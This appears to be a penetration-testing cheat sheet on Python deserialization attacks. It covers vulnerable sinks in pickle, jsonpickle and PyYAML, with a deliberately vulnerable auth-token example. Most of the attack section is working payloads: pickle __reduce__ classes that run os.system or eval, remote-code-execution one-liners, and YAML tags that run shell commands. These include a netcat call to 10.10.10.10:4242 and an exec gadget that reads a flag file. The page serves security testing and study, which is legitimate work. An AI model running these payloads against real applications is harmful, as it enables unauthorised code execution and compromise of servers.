# Python Deserialization

> Python deserialization is the process of reconstructing Python objects from serialized data, commonly done using formats like JSON, pickle, or YAML. The pickle module is a frequently used tool for this in Python, as it can serialize and deserialize complex Python objects, including custom classes.

## Summary

* [Tools](#tools)
* [Methodology](#methodology)
    * [Pickle](#pickle)
    * [PyYAML](#pyyaml)
* [References](#references)

## Tools

* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) - Serialized payload for deserialization RCE attack on python driven applications where pickle,PyYAML, ruamel.yaml or jsonpickle module is used for deserialization of serialized data.

## Methodology

In Python source code, look for these sinks:

* `cPickle.loads`
* `pickle.loads`
* `_pickle.loads`
* `jsonpickle.decode`

### Pickle

The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object.
:warning: `import cPickle` will only work on Python 2

```python
import cPickle
from base64 import b64encode, b64decode

class User:
    def __init__(self):
        self.username = "anonymous"
        self.password = "anonymous"
        self.rank     = "guest"

h = User()
auth_token = b64encode(cPickle.dumps(h))
print("Your Auth Token : {}").format(auth_token)
```

The vulnerability is introduced when a token is loaded from an user input.

```python
new_token = raw_input("New Auth Token : ")
token = cPickle.loads(b64decode(new_token))
print "Welcome {}".format(token.username)
```

Python 2.7 documentation clearly states Pickle should never be used with untrusted sources. Let's create a malicious data that will execute arbitrary code on the server.

> The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

```python
import cPickle, os
from base64 import b64encode, b64decode

class Evil(object):
    def __reduce__(self):
        return (os.system,("whoami",))

e = Evil()
evil_token = b64encode(cPickle.dumps(e))
print("Your Evil Token : {}").format(evil_token)
```

A universal payload can be created by loading `os` at runtime using eval:

```python
import pickle
import base64

class RCE:
    def __reduce__(self):
        return eval, ("__import__('os').system('whoami')",)
pickled = pickle.dumps(RCE())
print(base64.b64encode(pickled).decode())
```

This approach allows running arbitrary python code, which allows us to use different techniques from code injection:

```python
__import__('os').system('whoami') # Reflected RCE
getattr('', __import__('os').popen('whoami').read()) # Error-Based RCE
1 / (__include__("os").popen("id")._proc.wait() == 0) # Boolean-Based RCE
__include__("os").popen("id && sleep 5").read() # Time-Based RCE
```

### PyYAML

YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.

```yaml
!!python/object/apply:time.sleep [10]
!!python/object/apply:builtins.range [1, 10, 1]
!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
!!python/object/new:subprocess [["ls","-ail"]]
!!python/object/new:subprocess.check_output [["ls","-ail"]]
```

```yaml
!!python/object/apply:subprocess.Popen
- ls
```

```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
  state:
    update: !!python/name:exec
```

Since PyYaml version 6.0, the default loader for `load` has been switched to SafeLoader mitigating the risks against Remote Code Execution. [PR #420 - Fix](https://github.com/yaml/pyyaml/issues/420)

The vulnerable sinks are now `yaml.unsafe_load` and `yaml.load(input, Loader=yaml.UnsafeLoader)`.

```py
with open('exploit_unsafeloader.yml') as file:
        data = yaml.load(file,Loader=yaml.UnsafeLoader)
```

## References

* [CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020](https://web.archive.org/web/20250501184227/https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)
* [Exploiting misuse of Python's "pickle" - Nelson Elhage - March 20, 2011](https://web.archive.org/web/20260211161939/https://blog.nelhage.com/2011/03/exploiting-pickle/)
* [Python Yaml Deserialization - HackTricks - July 19, 2024](https://web.archive.org/web/20241216145404/https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization)
* [PyYAML Documentation - PyYAML - April 29, 2006](https://web.archive.org/web/20260219140302/https://pyyaml.org/wiki/PyYAMLDocumentation)
* [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://web.archive.org/web/20250604032318/https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
* [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 3, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)
